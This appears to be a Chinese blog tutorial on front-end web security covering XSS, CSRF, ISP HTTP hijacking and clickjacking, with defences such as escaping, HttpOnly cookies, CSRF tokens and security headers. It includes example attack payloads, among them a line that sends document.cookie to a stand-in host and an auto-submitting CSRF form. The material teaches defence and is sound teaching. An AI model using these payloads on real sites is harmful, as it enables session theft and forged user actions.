说到安全,大家脑海浮现的一定是这种场景。
他们噼噼啪啪敲几行代码,就能控制对方电脑于千里之外,酷到没朋友。
但这些似乎离前端还挺远的。常常听到什么SQL注入,缓冲区溢出,DDoS,CC攻击,好像和前端也没啥关系,渐渐的会觉得安全是后端的的事。
但真的是这样的吗?想起来前不久公司安全部门统计的漏洞列表
看,前端经典的XSS漏洞占据了90%以上。所以学习和了解前端安全方面的知识,还是十分有必要的。
接下来我们聊聊前端安全,主要从以下几块来讲
一、XSS攻击与防御
二、CSRF攻击
三、HTTP劫持与对策
四、界面操作劫持
五、防御手段
一、XSS攻击与防御
当年写过这样一段代码,form提交表单后,如果有错误,需要前台alert出来。
偷懒采用了如下思路
1、提交表单之后再次重定向到当前页面,然后把错误信息放入url中。
2、controller层把url参数传入模板。
3、模板部分如果变量有值,就alert出来。
代码大概如下
// 假设提交表单之后定位到这个页面 // http://www.wrong.com?msg=param-error // 页面上模板上,为了省心,有这么一段 <script> // … 省略一些代码,{{}} 是模板引擎引入变量的语法 alert(‘{{query.msg}}‘); </script>
乍一看,这么写没什么问题。{{query.msg}}会被替换成 param-error。模板被解析成html的时候,会变为alert(‘param-error’);
但是,如果有人不怀好意,访问这样一个url
http://www.wrong.com?msg=‘);alert(document.cookie);(‘
然后代码就变成了
alert(‘‘);alert(document.cookie);(‘‘);
访问这个页面,弹出了cookie。
当然,弹出cookie没有太多价值,但如果我们把代码改成
new Image().src = ‘http://www.xss.com?data=‘ + document.cookie;
这样,我们就把目标用户的cookie发送到我们的服务器上了。而cookie中极有可能存在用户的隐私数据甚至是用户的登录session。
当然,这只是一个最简单的例子,用来说明攻击的原理。实际情况下,我们会遇到很多限制,比如浏览器的自动转码,cookie的only http标识等。
XSS的攻击有很多种方式,通常情况下,我们会对XSS攻击做如下分类
1、反射型XSS
发请求时,XSS代码出现在URL中,提交给服务端。服务端返回的内容,也带上了这段XSS代码。最后浏览器执行XSS代码。
通常情况是攻击者找到有XSS漏洞的网站,然后构造一个连接,就像这种
http://www.hasxss.com?x=<script>alert(document.cookie)</script>
带有攻击效果的链接
然后诱导你点击
通常他们会把链接短链一下迷惑你,就好比
http://dwz.cn/woshiduanwangzhi
PS:通常还会加上一句类似 ~你们看看王宝强儿子长得像谁~ 这种标题??。
然后你点击进去就中招了。
2、存储型XSS
存储型和反射型的区别就是,提交的XSS代码会存储在服务器端。这种XSS也是最危险的。
举个例子,我们的网站允许用户设置一段个性签名,会显示在个人主页。
然后用户签名设置为
<script>alert(document.cookie)<script>。
数据库存储这段代码,然后页面显示出来。
如果这个过程中没有经过任何转义,那么这段html就直接执行了。这样,所有访问你个人主页的用户,就都中招了。
3、DOM XSS
这种和上面说的两种的区别就在于,DOM XSS不需要服务端参与,可以认为是前端代码漏洞导致。
举个例子,有这样一段代码
<script> eval(location.hash.substr(1)); </script> // 而这个时候,如果用户在网址后面加上恶意代码 http://www.xss.com#alert(document.cookie)
这样就完成了攻击了。
这也是我们常说eval不安全的原因,传入eval的字符串,天知道会是什么东西,但无论是什么,它都会去执行。
说了XSS的类型,我们再说说防御的手段。
1、过滤转义输入输出
用户输入的情况,通常来讲也是HTTP请求。GET请求的url参数。POST请求的body数据。
比如我们接收的数据是用户年龄,那么在后端,需要判断一下数据是否是Number,这样才能让恶意攻击者没有可乘之机。
对于一些特殊符号,我们需要对其进行转义
& --> & < --> < > --> > " --> " ‘ --> ' / --> /
这个一方面是后端接收这些代码时候的转义存储,一方面是前端在显示的时候,需要把它们转成html实体。
2、避免使用eval,new Function等执行字符串的方法,除非确定字符串和用户输入无关。
3、使用innerHTML,document.write的时候,如果数据是用户输入的,那么需要对关键字符都进行过滤与转义。
4、对于非客户端cookie,比如保存用户凭证的session,务必标识为http only,这样js就获取不到这个cookie值了,安全性得到提高。
对于XSS的防御,提高编码的安全意识是一方面。
还有一种方式是主动防御。也就是当发现页面有XSS攻击时候,主动上报。
至于如何检测到,目前的方式大多是对事件和脚本拦截。判断是否有恶意代码。
二、CSRF攻击
CSRF全称是跨站请求伪造。这么说挺模糊的,我们来具体看下例子就能明白
假设 新浪微博关注某个人的请求是
GET www.weibo.com/attention?userid=123
所以,当用户处于登录状态下,并且访问如上链接,便会关注userid为123的用户。
那么我们可以做出如下攻击。
编写一个恶意页面 www.csrf.com。然后在页面上加上一句
<img src=“www.weibo.com/attention?userid=123” />
这时,用户只要访问了这个页面,便发起了关注的请求。并且该请求还是带上了登录cookie的,因为cookie是跟随着请求域名一起的。
上面这个例子是一个太理想的情况,又例如实际关注的请求,是一个POST请求,那应该怎么办呢?
其实这也很简单,虽然发送post请求会有跨域限制,但是我们可以使用js动态生成一个form表单。然后把地址指向上述url,最后再加上自动提交即可。
function createForm() { var form = document.createElement(‘form‘); document.body.appendChild(form); form.method = ‘post‘; return form; } function createInput() { // 省略一些代码,创建一些input,让form使用appendChild放进去 } var f = createForm(); // 插入一些数据 f.action = ‘http://www.csrf.com‘; f.submit();
CSRF的防御方式
- 检测http referer是否是同域名,通常来讲,用户提交的请求,referer应该是来来自站内地址,所以如果发现referer中地址异常,那么很可能是遭到了CSRF攻击。
- 避免登录的session长时间存储在客户端中。
- 关键请求使用验证码或者token机制。在一些十分关键的操作,比如交易付款环节。这种请求中,加入验证码,可以防止被恶意用户攻击。token机制也有一定的防御作用。具体来说就是服务器每次返回客户端页面的时候,在页面中埋上一个token字段,例如 <input type=“hidden” name=“csrftoken” value=“abcd">
之后,客户端请求的时候带上这个token,使用这个机制后,攻击者也就很难发起CSRF攻击了。
三、HTTP劫持与对策
HTTP劫持严格上来说不能完全算前端安全的范畴。因为导致这种情况的主要是运营商。
先简单解释下HTTP劫持吧,当我们访问页面的时候,运营商在页面的HTML代码中,插入弹窗、广告等HTML代码,来获取相应的利益。
针对这种情况,最好的解决方式也就是使用HTTPS,加密过后,他们就没法插入广告代码了。
那么对于还没有升级的情况,我们可以努力让影响降到最低。
情况一:页面被iframe嵌套了
这种情况还是比较简单的。对于跨域iframe,我们是可以改变父页面地址的
所以,我们在代码中加上
if (self != top) { top.location = location.href; }
情况二:页面多出了广告的html代码或者插入广告的脚本
这种情况下,我们能做的有限。
一方面我们可以检测是否有新增的html。监控检测判断,发现是广告就移除掉。
另一方面,对于使用document.write方法写入的广告,我们可以通过重写document.write方法来达到删除广告的目的
四、界面操作劫持
界面操作劫持是一种基于视觉欺骗的劫持攻击。通过在页面上覆盖一个iframe + opacity:0的页面,让用户误点击。
这么解释很苍白,我们来看一下具体案例
假设我开发的页面是百度
我希望诱导别人关注我的新浪微博。
这时,我可以选择在我的页面中使用iframe嵌入微博页面
这里我没有把opacity设置为0。如果设置为0的话。那么就完成了一次界面操作劫持了。你以为点击了百度一下,实际点击的是关注。
五、防御方式
说了这么多攻击方式,但是我们的web还是很安全的是不是?
上面列举的例子都不具备实际攻击作用,因为浏览器厂商,W3C等已经做了很多安全工作,让我们的页面可以安稳的运行起来。但是道高一尺魔高一丈,我们要合理运用防护手段,才能让页面不被攻击。
1、HTTP响应头,在响应可以通过这些字段来提高安全性
- X-Frame-Options 禁止页面被加载进iframe中
- X-XSS-Protection 对于反射型XSS进行一些防御
- X-Content-Security-Policy 这个就比较复杂了,可选项很多,用来设置允许的的资源来源以及对脚本执行环境的控制等。
2、使用HTTPS、使用HTTP ONLY的cookie。cookie的secure字段设置为true
3、GET请求与POST请求,要严格遵守规范,不要混用,不要将一些危险的提交使用JSONP完成。
如果你喜欢我们的文章,关注我们的公众号和我们互动吧。